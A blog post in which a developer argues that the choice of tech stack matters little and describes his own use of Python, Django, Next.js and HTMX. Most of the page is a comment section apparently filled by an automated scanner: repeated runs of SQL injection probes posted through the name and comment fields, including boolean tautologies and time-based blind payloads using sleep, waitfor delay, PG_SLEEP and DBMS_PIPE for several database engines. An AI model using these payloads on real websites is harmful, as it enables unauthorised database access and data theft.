Choosing the correct tech stack

/ #Misc


There are so many languages, frameworks, database, etc, to choose from. Show how do you decide?

I have been a full time programmer for 15 years now, and I've had it as a hobby much much longer. During this time, I have seen technologies come and disappear, some have been with me the whole time, and some of them have just been something I've heard of.

During my time as a developer, I think that the most important thing I have learned, is that the stack you're using is definitely not the most important part of a project. Finding the perfect tech stack is impossible, or is it?

Information overload

Since I'm an experienced developer, I have learned how to filter all of the information out there. But even for me it's kind of overwhelming to see everything out there. Sometimes I feel like I'm a dinosaur when it comes to technology because there is so much innovation going on. But is all the innovation necessarily doing us good?

I'm glad I'm not a beginner these days, because even though it's never been easier to learn a new technology, how the heck are you going to find out which technology to learn?

My perfect tech stack

Okay, so what should I do? I think that you should try to just find something you like. Find something you're comfortable to work with. No matter which language, framework, database, etc, you choose, there will be something that isn't 100% perfect.

There might be a different language solving that exact problem, but then that language probably have a different problem you're already solving with your tech stack.

That's why I'm kind of just sticking to things I already know very well. I love Python, and I love Django. That's why this is my go-to for backend development.

On the frontend, I've been back and forth. I have used Vue for many years, I have used HTMX, and I have used Next.js. Next.js is what I have used for bigger projects, and is also my new go-to framework for bigger projects. If I don't need as much interactivity, I will probably just go for HTMX.

So, have I chosen a perfect tech stack? Probably not. But I'm efficient with it, and I can build and do whatever I want.

When Pieter Levels can build projects with plain old PHP and make tens of thousands each month, then I guess we can say that the technology you choose doesn't really matter.

Comments

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

-1 OR 2+639-639-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:25

-1 OR 2+264-264-1=0+0+0+1

EFSArCBy | Jul 02, 26 07:25

-1' OR 2+840-840-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:25

-1' OR 2+286-286-1=0+0+0+1 or 'RcmZiM6s'='

EFSArCBy | Jul 02, 26 07:25

-1" OR 2+387-387-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 07:25

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 07:25

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 07:25

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 07:25

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 07:25

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:25

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:25

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:25

5552AkWxkR0'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 07:25

555-1 OR 562=(SELECT 562 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:25

555-1) OR 337=(SELECT 337 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:25

555-1)) OR 670=(SELECT 670 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:25

5559p9zKBB4' OR 554=(SELECT 554 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:25

555X85MucEQ') OR 137=(SELECT 137 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:25

555EZbGAnNF')) OR 482=(SELECT 482 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 07:25

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 07:25

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555'"

EFSArCBy | Jul 02, 26 07:25

@@gBNHC

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

EFSArCBy | Jul 02, 26 07:25

555

-1 OR 2+836-836-1=0+0+0+1 -- | Jul 02, 26 07:25

555

-1 OR 2+594-594-1=0+0+0+1 | Jul 02, 26 07:25

555

-1' OR 2+717-717-1=0+0+0+1 -- | Jul 02, 26 07:25

555

-1' OR 2+140-140-1=0+0+0+1 or '0cwDDDJr'=' | Jul 02, 26 07:25

555

-1" OR 2+645-645-1=0+0+0+1 -- | Jul 02, 26 07:25

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 07:25

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 07:25

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 07:26

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 07:26

555

EFSArCBy2gXdLnes'; waitfor delay '0:0:15' -- | Jul 02, 26 07:26

555

EFSArCBy3g8RTsey' OR 248=(SELECT 248 FROM PG_SLEEP(15))-- | Jul 02, 26 07:26

555

EFSArCByfcocwmu2') OR 395=(SELECT 395 FROM PG_SLEEP(15))-- | Jul 02, 26 07:26

555

EFSArCBy4A0pCGGC')) OR 23=(SELECT 23 FROM PG_SLEEP(15))-- | Jul 02, 26 07:26

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy'" | Jul 02, 26 07:26

555

@@pn62y | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 02, 26 07:26

555

EFSArCBy | Jul 20, 26 08:29

555

EFSArCBy | Jul 20, 26 08:29

555

EFSArCBy | Jul 20, 26 08:29

555

EFSArCBy | Jul 20, 26 08:29

-1 OR 2+14-14-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 08:29

-1 OR 2+88-88-1=0+0+0+1

EFSArCBy | Jul 20, 26 08:29

-1' OR 2+74-74-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 08:29

-1' OR 2+35-35-1=0+0+0+1 or 'sxJGuUZD'='

EFSArCBy | Jul 20, 26 08:29

-1" OR 2+221-221-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 08:29

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 20, 26 08:29

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 20, 26 08:29

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 20, 26 08:29

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 20, 26 08:29

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 08:29

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 08:29

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 08:29

555JBXzkdvG'; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 08:29

555-1 OR 879=(SELECT 879 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:29

555-1) OR 216=(SELECT 216 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:29

555-1)) OR 825=(SELECT 825 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:29

555qBYjMcLG' OR 597=(SELECT 597 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:29

55540VX7JVf') OR 507=(SELECT 507 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:29

555QdDsqzJH')) OR 812=(SELECT 812 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 08:29

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 20, 26 08:29

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 20, 26 08:29

555

EFSArCBy | Jul 20, 26 08:29

555'"

EFSArCBy | Jul 20, 26 08:29

@@WSfpG

EFSArCBy | Jul 20, 26 08:29

555

EFSArCBy | Jul 20, 26 08:29

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

-1 OR 2+100-100-1=0+0+0+1 -- | Jul 20, 26 08:30

555

-1 OR 2+60-60-1=0+0+0+1 | Jul 20, 26 08:30

555

-1' OR 2+613-613-1=0+0+0+1 -- | Jul 20, 26 08:30

555

-1' OR 2+59-59-1=0+0+0+1 or 'osJXYD6C'=' | Jul 20, 26 08:30

555

-1" OR 2+425-425-1=0+0+0+1 -- | Jul 20, 26 08:30

555

if(now()=sysdate(),sleep(15),0) | Jul 20, 26 08:30

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 20, 26 08:30

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 20, 26 08:30

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 20, 26 08:30

555

EFSArCBy6j0GeenI'; waitfor delay '0:0:15' -- | Jul 20, 26 08:30

555

EFSArCBytzATeK4O' OR 679=(SELECT 679 FROM PG_SLEEP(15))-- | Jul 20, 26 08:30

555

EFSArCBy2DWWrAqX') OR 300=(SELECT 300 FROM PG_SLEEP(15))-- | Jul 20, 26 08:30

555

EFSArCByEpmgJPTz')) OR 334=(SELECT 334 FROM PG_SLEEP(15))-- | Jul 20, 26 08:30

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy'" | Jul 20, 26 08:30

555

@@VSPNc | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 20, 26 08:30

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

-1 OR 2+200-200-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 11:18

-1 OR 2+449-449-1=0+0+0+1

EFSArCBy | Jul 23, 26 11:18

-1' OR 2+690-690-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 11:18

-1' OR 2+18-18-1=0+0+0+1 or '9oDZwx0Z'='

EFSArCBy | Jul 23, 26 11:18

-1" OR 2+339-339-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 11:18

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 23, 26 11:18

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 23, 26 11:18

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 23, 26 11:18

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 23, 26 11:18

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 11:18

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 11:18

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 11:18

555xmZ7Nm4L'; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 11:18

555-1 OR 185=(SELECT 185 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:18

555-1) OR 288=(SELECT 288 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:18

555-1)) OR 348=(SELECT 348 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:18

555JtvJQCdH' OR 160=(SELECT 160 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:18

555Mm14oAQT') OR 450=(SELECT 450 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:18

555CqVtAAO8')) OR 40=(SELECT 40 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 11:18

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 23, 26 11:18

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555'"

EFSArCBy | Jul 23, 26 11:18

@@c7b7N

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:18

555

EFSArCBy | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

-1 OR 2+817-817-1=0+0+0+1 -- | Jul 23, 26 11:19

555

-1 OR 2+948-948-1=0+0+0+1 | Jul 23, 26 11:19

555

-1' OR 2+581-581-1=0+0+0+1 -- | Jul 23, 26 11:19

555

-1' OR 2+231-231-1=0+0+0+1 or 'KKjNs9Y7'=' | Jul 23, 26 11:19

555

-1" OR 2+699-699-1=0+0+0+1 -- | Jul 23, 26 11:19

555

if(now()=sysdate(),sleep(15),0) | Jul 23, 26 11:19

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 11:19

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 11:19

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 11:19

555

EFSArCByBJQ7RP4l'; waitfor delay '0:0:15' -- | Jul 23, 26 11:19

555

EFSArCBygCCxw3NL' OR 838=(SELECT 838 FROM PG_SLEEP(15))-- | Jul 23, 26 11:19

555

EFSArCBy4f3kSULv') OR 150=(SELECT 150 FROM PG_SLEEP(15))-- | Jul 23, 26 11:19

555

EFSArCByRm2Ezn6v')) OR 836=(SELECT 836 FROM PG_SLEEP(15))-- | Jul 23, 26 11:19

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

EFSArCBy'" | Jul 23, 26 11:19

555

@@fKL8Q | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

EFSArCBy | Jul 23, 26 11:19

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.